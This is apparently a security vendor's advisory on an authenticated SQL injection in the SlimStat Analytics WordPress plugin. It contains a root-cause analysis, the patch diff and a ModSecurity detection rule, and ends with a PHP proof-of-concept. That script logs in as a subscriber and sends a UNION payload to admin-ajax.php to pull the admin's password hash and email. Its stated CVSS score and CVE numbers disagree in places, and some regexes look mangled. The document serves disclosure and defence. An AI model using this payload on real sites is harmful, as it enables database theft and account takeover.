Atomic Edge analysis of CVE-2026-54818:
This is an authenticated SQL injection vulnerability in the SlimStat Analytics WordPress plugin versions up to and including 5.4.11. The vulnerability affects subscribers and users with higher privileges who can exploit insufficient input sanitization in the chart data WHERE clause handling within the Chart.php module. The CVSS score of 6.5 reflects the authenticated requirement but significant data exposure potential.
Root Cause: The vulnerability exists in wp-slimstat/src/Modules/Chart.php where the buildFilterWhere() method at line 290 processes $args[‘chart_data’][‘where’] received from AJAX requests. The original code inlined the user-supplied WHERE clause directly into SQL queries through Query::whereRaw() without any parameter binding, sanitization, or validation against a known allowed list. Specifically, lines 293-296 of the vulnerable code: if (!empty($args[‘chart_data’][‘where’])) { $chartWhere = $args[‘chart_data’][‘where’]; $filterWhere = !empty($filterWhere) ? $filterWhere . ‘ AND ‘ . $chartWhere : $chartWhere; } This allowed arbitrary SQL injection through the AJAX endpoint ajaxFetchChartData, which accepts the chart_data array via $_POST.
Exploitation: An authenticated attacker with subscriber-level access or higher sends an AJAX POST request to /wp-admin/admin-ajax.php with action=slimstat_get_chart_data and a crafted chart_data[where] parameter containing malicious SQL. The attacker can inject UNION-based SQL statements, time-based blind payloads, or subqueries to extract data from the WordPress database including user credentials, options, and other sensitive tables. The attack vector is the admin-ajax.php endpoint, which WordPress makes accessible to authenticated users regardless of their role.
Patch Analysis: The patch implements a comprehensive allowlist mechanism. It normalizes the user-supplied WHERE clause by collapsing whitespace, then compares it against a harvested list of legitimate WHERE clauses from registered reports. The getAllowedWhereClauses() static method builds this list by iterating over all reports in wp_slimstat_reports::$reports (including third-party Pro addons) and caching the normalized canonical clauses. If the supplied clause doesn’t match an allowed entry, the code throws an exception instead of executing the query. Additionally, the patch wraps the canonical clause in parentheses to prevent SQL structure manipulation. The inline_help() function also receives sanitization via wp_kses_post() to prevent stored XSS from tooltip content.
Impact: Successful exploitation allows authenticated attackers to extract arbitrary data from the WordPress database, including password hashes, email addresses, session tokens, and configuration secrets. The SQL injection occurs in a SELECT context, making data extraction the primary attack vector. An attacker could potentially modify data through stacked queries or leverage time-based techniques to enumerate the database structure. The availability impact is minimal, but confidentiality is severely compromised.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/wp-slimstat/admin/view/wp-slimstat-reports.php
+++ b/wp-slimstat/admin/view/wp-slimstat-reports.php
@@ -2096,7 +2096,9 @@
public static function inline_help($_text = '', $_echo = true)
{
if (is_admin() && !empty($_text)) {
- $wrapped_text = sprintf("<span class='dashicons dashicons-editor-help slimstat-tooltip-trigger corner'><span class='slimstat-tooltip-content'>%s</span></span>", $_text);
+ // CVE-2026-7634: defang attacker-controlled $_text. wp_kses_post preserves
+ // the formatting tags existing tooltips rely on.
+ $wrapped_text = sprintf("<span class='dashicons dashicons-editor-help slimstat-tooltip-trigger corner'><span class='slimstat-tooltip-content'>%s</span></span>", wp_kses_post($_text));
} else {
$wrapped_text = '';
}
--- a/wp-slimstat/src/Modules/Chart.php
+++ b/wp-slimstat/src/Modules/Chart.php
@@ -290,10 +290,32 @@
// Build WHERE clause from active filters (excluding time filters)
$filterWhere = $this->buildFilterWhere();
- // Add chart-specific WHERE clause if provided
+ // Add chart-specific WHERE clause if provided.
+ // SECURITY: $args['chart_data']['where'] arrives via $_POST in the AJAX
+ // path (ajaxFetchChartData) and is later inlined into raw SQL through
+ // Query::whereRaw() with no parameter binding. To prevent SQL injection
+ // (Patchstack disclosure, CVSS 8.5), require the supplied clause to
+ // match — after whitespace normalization — one of the WHERE strings
+ // declared by a report registered in wp_slimstat_reports::$reports.
if (!empty($args['chart_data']['where'])) {
- $chartWhere = $args['chart_data']['where'];
- $filterWhere = !empty($filterWhere) ? $filterWhere . ' AND ' . $chartWhere : $chartWhere;
+ // Reject non-string input before normalization. Chart.php does not
+ // declare(strict_types=1), so casting an array (E_WARNING) or an
+ // object without __toString (fatal Error → 500) would otherwise
+ // produce noisy logs or crash the AJAX handler instead of the
+ // generic security rejection below.
+ if (!is_string($args['chart_data']['where'])) {
+ throw new Exception(__('Invalid chart filter expression.', 'wp-slimstat'));
+ }
+ $normalized = self::normalizeSqlWhitespace($args['chart_data']['where']);
+ $allowed = self::getAllowedWhereClauses();
+ if (!isset($allowed[$normalized])) {
+ throw new Exception(__('Invalid chart filter expression.', 'wp-slimstat'));
+ }
+ $canonical = $allowed[$normalized]; // splice trusted text, never the user-derived $normalized
+ // Wrap: allowlisted clauses may contain a top-level OR that would
+ // otherwise rebind and drop the preceding AND filters.
+ $wrapped = '(' . $canonical . ')';
+ $filterWhere = !empty($filterWhere) ? $filterWhere . ' AND ' . $wrapped : $wrapped;
}
// Use UNIX_TIMESTAMP difference for broad MySQL 5.0.x compatibility.
@@ -507,6 +529,64 @@
throw new Exception(__('Invalid SQL expression in chart data. Only whitelisted aggregate functions on valid columns are allowed.', 'wp-slimstat'));
}
+ /**
+ * Allowlist of legitimate chart `where` clauses harvested from every report
+ * registered in wp_slimstat_reports::$reports (including those added by
+ * third-party Pro addons via the `slimstat_reports_info` filter).
+ *
+ * Rebuilt per request because dynamic clauses (home_url(), date_i18n(...))
+ * are evaluated at init() time.
+ *
+ * @return array<string,string> normalized-clause => canonical clause text
+ */
+ private static function getAllowedWhereClauses(): array
+ {
+ static $cache = null;
+ if (null !== $cache) {
+ return $cache;
+ }
+
+ if (!class_exists('wp_slimstat_reports')) {
+ $reportsFile = SLIMSTAT_DIR . '/admin/view/wp-slimstat-reports.php';
+ if (file_exists($reportsFile)) {
+ include_once $reportsFile;
+ }
+ }
+ if (!class_exists('wp_slimstat_reports')) {
+ // Don't cache the failure — let a later call retry once the file
+ // has had a chance to load (e.g. via a downstream filter).
+ return [];
+ }
+
+ wp_slimstat_reports::init();
+
+ $cache = [];
+ foreach ((array) wp_slimstat_reports::$reports as $report) {
+ $where = $report['callback_args']['chart_data']['where'] ?? null;
+ // Skip non-string values defensively — a third-party report could
+ // register an array/object/null; normalizeSqlWhitespace is typed
+ // for string and Chart.php does not declare(strict_types=1).
+ if (!is_string($where) || '' === $where) {
+ continue;
+ }
+ $normalized = self::normalizeSqlWhitespace($where);
+ if ('' !== $normalized) {
+ $cache[$normalized] = $where;
+ }
+ }
+
+ return $cache;
+ }
+
+ /**
+ * Both sides of the `where` allowlist comparison must run through the
+ * same whitespace normalization for the equality check to be sound.
+ */
+ private static function normalizeSqlWhitespace(string $sql): string
+ {
+ return trim(preg_replace('/s+/', ' ', $sql));
+ }
+
private function processResults(array $rows, array $totals, array $params, int $start, int $end, int $prevStart, int $prevEnd): array
{
// Normalize totals to array of stdClass for backward compatibility
--- a/wp-slimstat/src/Services/Browscap.php
+++ b/wp-slimstat/src/Services/Browscap.php
@@ -71,10 +71,10 @@
$browser['browser_version'] = $browser_version['browser_version'];
}
- // Safety net: detect bots by UA keywords when Browscap did not flag as crawler.
- // Catches Chrome-based crawlers (Googlebot, Bingbot) that Browscap may
- // identify as regular browsers without setting crawler=true. See #291.
- if (0 === (int) $browser['browser_type']) {
+ // Safety net: re-check any non-crawler type (desktop/mobile/touch) against
+ // BOT_GENERIC_REGEX. Browscap misclassifies Chrome-based Googlebot mobile
+ // UAs as type=2 because Android/Mobile signals match before the bot suffix.
+ if (1 !== (int) $browser['browser_type']) {
$browser = self::apply_bot_safety_net($browser);
}
@@ -266,17 +266,23 @@
protected static function _get_user_agent()
{
-
- $user_agent = (empty($_SERVER['HTTP_USER_AGENT']) ? '' : trim($_SERVER['HTTP_USER_AGENT']));
+ // CVE-2026-7634: sanitize at the source so a malicious UA cannot reach
+ // storage or render layers as raw HTML. Mirrors the pattern used in
+ // Session.php and IPHashProvider.php. Bot/crawler regex matching downstream
+ // (UADetector::BOT_GENERIC_REGEX, BrowscapPHP) operates on alphanumerics
+ // and punctuation that sanitize_text_field preserves.
+ $user_agent = empty($_SERVER['HTTP_USER_AGENT'])
+ ? ''
+ : trim(sanitize_text_field(wp_unslash($_SERVER['HTTP_USER_AGENT'])));
$real_user_agent = '';
if (!empty($_SERVER['HTTP_X_DEVICE_USER_AGENT'])) {
- $real_user_agent = trim($_SERVER['HTTP_X_DEVICE_USER_AGENT']);
+ $real_user_agent = trim(sanitize_text_field(wp_unslash($_SERVER['HTTP_X_DEVICE_USER_AGENT'])));
} elseif (!empty($_SERVER['HTTP_X_ORIGINAL_USER_AGENT'])) {
- $real_user_agent = trim($_SERVER['HTTP_X_ORIGINAL_USER_AGENT']);
+ $real_user_agent = trim(sanitize_text_field(wp_unslash($_SERVER['HTTP_X_ORIGINAL_USER_AGENT'])));
} elseif (!empty($_SERVER['HTTP_X_MOBILE_UA'])) {
- $real_user_agent = trim($_SERVER['HTTP_X_MOBILE_UA']);
+ $real_user_agent = trim(sanitize_text_field(wp_unslash($_SERVER['HTTP_X_MOBILE_UA'])));
} elseif (!empty($_SERVER['HTTP_X_OPERAMINI_PHONE_UA'])) {
- $real_user_agent = trim($_SERVER['HTTP_X_OPERAMINI_PHONE_UA']);
+ $real_user_agent = trim(sanitize_text_field(wp_unslash($_SERVER['HTTP_X_OPERAMINI_PHONE_UA'])));
}
if ('' !== $real_user_agent && '0' !== $real_user_agent && (strlen($real_user_agent) >= 5 || ('' === $user_agent || '0' === $user_agent))) {
--- a/wp-slimstat/src/Tracker/Storage.php
+++ b/wp-slimstat/src/Tracker/Storage.php
@@ -31,15 +31,30 @@
$id = abs(intval($data['id']));
unset($data['id']);
+ // CVE-2026-7634: mirror insertRow()'s sanitization so an UPDATE cannot
+ // overwrite the row with raw HTML. Run before array_filter so values that
+ // sanitize to '' get dropped along with originals.
+ foreach ($data as $key => $value) {
+ if (is_array($value)) {
+ $data[$key] = array_map('sanitize_text_field', $value);
+ } elseif ('resource' === $key || 'outbound_resource' === $key) {
+ $data[$key] = sanitize_url($value);
+ } else {
+ $data[$key] = sanitize_text_field($value);
+ }
+ }
+
$data = array_filter($data);
$table_name = $GLOBALS['wpdb']->prefix . 'slim_stats';
$query = Query::update($table_name)->ignore()->where('id', '=', $id);
+ $hasUpdates = false;
if (!empty($data['notes']) && is_array($data['notes'])) {
$notes_to_append = '[' . implode('][', $data['notes']) . ']';
$query->setRaw('notes', "CONCAT(IFNULL(notes, ''), %s)", [$notes_to_append]);
unset($data['notes']);
+ $hasUpdates = true;
}
if (!empty($data['outbound_resource'])) {
@@ -50,10 +65,18 @@
[$url, $url, $url]
);
unset($data['outbound_resource']);
+ $hasUpdates = true;
}
if ($data !== []) {
$query->set($data);
+ $hasUpdates = true;
+ }
+
+ // If sanitization stripped every field there is nothing to write — skip
+ // the execute() to avoid emitting `UPDATE ... SET WHERE id=X` (invalid SQL).
+ if (!$hasUpdates) {
+ return $id;
}
$query->execute();
--- a/wp-slimstat/src/Utils/UADetector.php
+++ b/wp-slimstat/src/Utils/UADetector.php
@@ -10,7 +10,7 @@
// 2: mobile
/** Generic bot detection regex — shared with Browscap::apply_bot_safety_net(). */
- public const BOT_GENERIC_REGEX = '#(robot|bot[s-_/)]|bot$|blog|checker|crawl|feed|fetcher|libwww|[^.e]links?|parser|reader|spider|verifier|href|https?://|.+(?:@|s?ats?)[a-z0-9_-]+(?:.|s?dots?)|www[0-9]?.[a-z0-9_-]+..+|/.+.(s?html?|aspx?|php5?|cgi))#i';
+ public const BOT_GENERIC_REGEX = '#(robot|bot[s-_/)]|bot$|blog|checker|crawl|feed|fetcher|libwww|[^.e]links?|parser|reader|spider|verif(?:ier|ication|y)|href|https?://|.+(?:@|s?ats?)[a-z0-9_-]+(?:.|s?dots?)|www[0-9]?.[a-z0-9_-]+..+|/.+.(s?html?|aspx?|php5?|cgi)|mediapartners|inspectiontool|googleother|googleagent|google-safety|duplexweb|googlesfavicon|yandex(?:direct|favicons)|anthropic-ai|cohere-ai|bingpreview|whatsapp/|skypeuripreview)#i';
public static function get_browser($_user_agent = '')
{
--- a/wp-slimstat/wp-slimstat.php
+++ b/wp-slimstat/wp-slimstat.php
@@ -3,7 +3,7 @@
* Plugin Name: SlimStat Analytics
* Plugin URI: https://wp-slimstat.com/
* Description: The leading web analytics plugin for WordPress
- * Version: 5.4.11
+ * Version: 5.4.12
* Author: Jason Crouse, VeronaLabs
* Text Domain: wp-slimstat
* Domain Path: /languages
@@ -20,7 +20,7 @@
}
// Set the plugin version and directory
-define('SLIMSTAT_ANALYTICS_VERSION', '5.4.11');
+define('SLIMSTAT_ANALYTICS_VERSION', '5.4.12');
define('SLIMSTAT_FILE', __FILE__);
define('SLIMSTAT_DIR', __DIR__);
define('SLIMSTAT_URL', plugins_url('', __FILE__));
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261801,phase:2,deny,status:403,chain,msg:'CVE-2026-54818 SlimStat Analytics SQL Injection via AJAX',severity:'CRITICAL',tag:'CVE-2026-54818',tag:'wordpress',tag:'slimstat'"
SecRule ARGS_POST:action "@streq slimstat_get_chart_data" "chain"
SecRule ARGS_POST:chart_data[where] "@rx (?:bUNIONb|bSELECTb|bDROPb|bINSERTb|bUPDATEb|bDELETEb|bSLEEPb|bLOAD_FILEb|bINTOs+OUTFILEb|bINTOs+DUMPFILEb|'s*ORs*'|bANDs+d+=d+b)" "t:none,t:urlDecodeUni"
# Note: This rule targets the specific AJAX action and parameter that receive the SQL injection payload.
# It uses a regex to detect common SQL injection patterns within the chart_data[where] parameter.
# The rule matches UNION/ SELECT keywords and other malicious SQL constructs that legitimate
# SlimStat chart WHERE clauses would never contain (legitimate clauses only use column names,
# comparison operators, and date literals).
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-54818 - SlimStat Analytics <= 5.4.11 - Authenticated (Subscriber+) SQL Injection
$target_url = 'https://example.com'; // Change this to the target WordPress URL
$username = 'subscriber'; // WordPress user with subscriber+ role
$password = 'password'; // User password
// Step 1: Authenticate with WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = ['log' => $username, 'pwd' => $password, 'rememberme' => 'forever', 'wp-submit' => 'Log In'];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($login_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => true,
CURLOPT_COOKIEJAR => '/tmp/cve-xxx-cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cve-xxx-cookies.txt',
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_FOLLOWLOCATION => false,
]);
$response = curl_exec($ch);
// Step 2: Extract nonce from login redirect or use default AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// SQL injection payload: extracts WordPress admin user's password hash
// The original vulnerability injects into the WHERE clause, so we use a UNION-based approach
// that breaks out of the existing query structure.
$sql_payload = "1=1) UNION SELECT user_login,user_pass,user_email,display_name FROM wp_users WHERE user_login='admin' -- ";
$post_data = [
'action' => 'slimstat_get_chart_data',
'chart_data' => [
'where' => $sql_payload,
'metric' => 'pageviews',
'start' => '2024-01-01',
'end' => '2024-01-31',
],
];
// Step 3: Send the exploit request
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($post_data),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_HEADER => false,
]);
$result = curl_exec($ch);
curl_close($ch);
echo "Response from server:n";
echo $result . "n";
// Clean up temporary cookie file
@unlink('/tmp/cve-xxx-cookies.txt');